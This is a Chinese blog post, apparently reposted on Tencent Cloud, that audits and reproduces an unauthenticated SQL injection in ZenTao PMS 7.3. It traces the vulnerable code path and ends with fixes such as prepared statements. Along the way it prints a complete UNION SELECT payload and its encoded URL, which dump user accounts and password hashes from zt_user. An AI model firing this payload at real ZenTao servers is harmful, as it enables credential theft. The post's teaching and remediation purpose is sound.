首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >代码审计|禅道7.3SQL注入复现

代码审计|禅道7.3SQL注入复现

作者头像
漏斗社区
发布2018-03-28 14:13:36
1.5K0
发布2018-03-28 14:13:36
举报
文章被收录于专栏:漏斗社区漏斗社区

上周的zentaopms漏洞复现你们觉得还OK吗?

斗哥想要的是一个肯定。

如果你们觉得意犹未尽,

本期将进入,

代码审计的小练习。

Zentaopms v7.3sql注入漏洞

(无需登录)。

来,表演开始!

环境搭建

STEP1:网上下载zentaopms7.3的源码;

下载地址:

链接:http://pan.baidu.com/s/1mi62jEw

密码:8lgz

STEP2:将网上下的源码解压到phpstudy目录下的WWW文件夹里;

STEP3:访问该WWW文件夹下的install.php文件,安装好网站。

漏洞复现

1.注册账号

安装完成后,进入主页,安装的时候已经配置了管理员的用户名和密码admin/admin,这里就直接登陆 。

图 2-1 登陆禅道

图 2-2进入管理界面

2.过程分析

(1) 问题出现在\lib\dao中的,dao.class.php文件的limit($limit)函数,它对传进的参数没有经过任何过滤就直接拼接成SQL语句进行查询。

图 2-3 dao.class.php

(2)使用反向审计的方式

这里function limit($limit)就是危险函数,所以是通过危险函数追溯调用函数的位置,把这个函数在控制器文件中搜索了一下,limit($出现在了 module\block\control.php,module\task\model.php 中, model.php中的limit()函数,发现是被getUserTasks函数调用了;

图 2-4 module\task\model.php

追踪getUserTasks这个函数被调用的地方,在module\block\control.php,printTaskBlock函数调用了getUserTasks这个函数,并使用params传入了type。

图 2-5module\block\control.php

再次反向追溯$params变量声明的地方,发现是在main()函数用于GET接收params的值再传入到$params变量中的,$params = $this->get->param; 并且需要满足条件$mode == 'getblockdata',$params还需要经过先base64解编码后再json解码,然后才能被使用,所以此时可以推出,param参数在GET请求中是需要先经过json编码后再base64编码,然后才传到服务端的。

图2-6module\block\control.php

查看$mode声明的位置,然后发现$mode是从GET请求中接收mode参数的值,$mode = strtolower($this->get->mode);

图 2-7 module\block\control.php

当mode为getblockdata时,我们传入的$params会被base64_decode和json_decode。我们可以通过构造blockid,加载下面的函数。

假设,我们想调用 printTaskBlock() 函数,该函数又调用了getUserTasks,定位一下printTaskBlock函数, 传递进去的参数就应该是 mode=getblockdata,blockid=task,以及编码后的 param(包含参数account,type,num,orderBy)。

图 2-8module\block\control.php

再回来看一下'\module\task\model.php'里的getUserTask函数。注意'getUserTasks'里的第二个参数$type 参数会带入到sql里。接下来我们需要构造param,以便传参数进来。

图 2-9 \module\task\model.php

因为禅道对url进行了重写,查看index.php,注释以下字段提示不能重写,所以重写的方法是router::createApp /* Instance the app. $app = router::createApp('pms', dirname(dirname(__FILE__)), 'router'); */ 根据createApp朔源到zentaopms\framework\router.class.php,定位到以下代码,是对路径进行重写的代码,并且在zentaopms\framework\router.class.php中可以得到重写规则是 目录-方法.html的格式 。

图 2-10\ framework\router.class.php

在下面的代码追溯$this->config->default->view;发现在config中是使用-进行分割,后缀为html。

图 2-11\ framework\router.class.php

图 2-12\config\config.php

在构造之前,我们先把基本的url写出来

http://127.0.0.1:5600/zentaopmsx/www/block-main.html?mode=getblockdata&blockid=task&param=1

为了验证加密方法是否正确,把config/my.php里的trace设置为True。方便看调试语句。

编写验证加密的脚本。

使用curl或者burp抓取数据包,查看页面的响应。

可以看到服务器解析了我们在type写入的加密数据,与未加密的数据比较,验证了加密的方法是正确的,SQL语法规定, union必须再orderby之前,因为注入点之前不包含order by,所以可以使用union 联合查询。

根据刚刚说的,把需要的参数加入url中,构造payload,mode=getblockdata&blockid=task& param={"account":"admin","type":"id=-1 UNION SELEC

T 1,2,3,4,5,6,account,8,9,password,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,

5,6,7,8 FROM zt_user#"}前几个参数mode,blockid,都是固定的,主要变化的是参数的构造使用curl或者burp抓取数据包,查看页面的响应。

根据control.php的解密方式,对paylaod:param={"account":"admin","type":"id=-1 UNION SELECT 1,2,3,4,5,6,account,8,9,password,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8 FROM zt_user#"}加密,先json加密,再base64加密。

所以最后的payload为:

http://127.0.0.1:5600/zentaopmsx/www/block-main.html?mode=getblockdata&blockid=task&param=eyJhY2NvdW50IjoiYWRtaW4iLCJ0eXBlIjoiaWQ9LTEgVU5JT04gU0VMRUNUIDEsMiwzLDQsNSw2LGFjY291bnQsOCw5LHBhc3N3b3JkLDEsMiwzLDQsNSw2LDcsOCw5LDAsMSwyLDMsNCw1LDYsNyw4LDksMCwxLDIsMyw0LDUsNiw3LDggRlJPTSB6dF91c2VyIyJ9

直接贴到地址栏,爆出了管理员的用户名和密码。

使用MySQL监视器跟踪的结果为:

SELECT t1.*, t2.id as projectID, t2.name as projectName, t3.id as storyID, t3.title as storyTitle, t3.status AS storyStatus, t3.version AS latestStoryVersion FROM `zt_task` AS t1 LEFT JOIN `zt_project` AS t2 ON t1.project = t2.id LEFT JOIN `zt_story` AS t3 ON t1.story = t3.id wHeRe t1.deleted = '0' AND t1.id=-1 UNION SELECT 1,2,3,4,5,6,account,8,9,password,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8 FROM zt_user# = 'admin' oRdEr bY

Md5解密一下:

得到最终的结果为 admin/admin。

简而言之,用户对其可控注入参数type构造恶意代码值,limit函数在dao.class.php执行sql查询,得到结果,但是在limit在拼接时没有对输入的语句做过滤,导致注入漏洞。

漏洞修复

导致注入攻击的两个条件:

(1)用户能够控制数据的输入—在上面的案例中,用户能够控制变量type

(2)原本要执行的代码,拼接了用户的输入—limit函数

select('t1.*,t2.id,t2.name,t3.id,t3.title,t3.status,t3.version') from t1

leftjoin t2 on('t1.project = t2.id') leftjoin t3 on('t1.story = t3.id') where('t1.deleted')->eq(0)

beginIF($type != 'all')->and Where("t1.$type")->eq($account)->fi() orderBy($orderBy)

beginIF($limit > 0)->limit($limit)->fi() page($pager) fetchAll();

根据上面两个条件,防御sql注入的方式是:

1.使用预编译语句,绑定变量

例如:

$query = “select * from table_name where x andWhere type=?”

$stmt = $mysqli->prepare($query)

$stmt = $blind_param(“sss”,$var)

使用预编译的sql语句,sql语句的语义不会发生变化,变量用?表示,攻击者无法改变SQL结构。

2.检查数据类型,限制输入的数据的类型未某一指定的类型,如整型等。

3.在此案例中,使用的是mysql,可以过滤 union,select,from等数据库关键字。

小总结

本期的zentaopms注入漏洞就为各位介绍到这里啦~!后续我们将推出更多的漏洞复现,别忘了持续关注漏斗社区哦~!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-08-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 漏斗社区 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 MySQL
腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档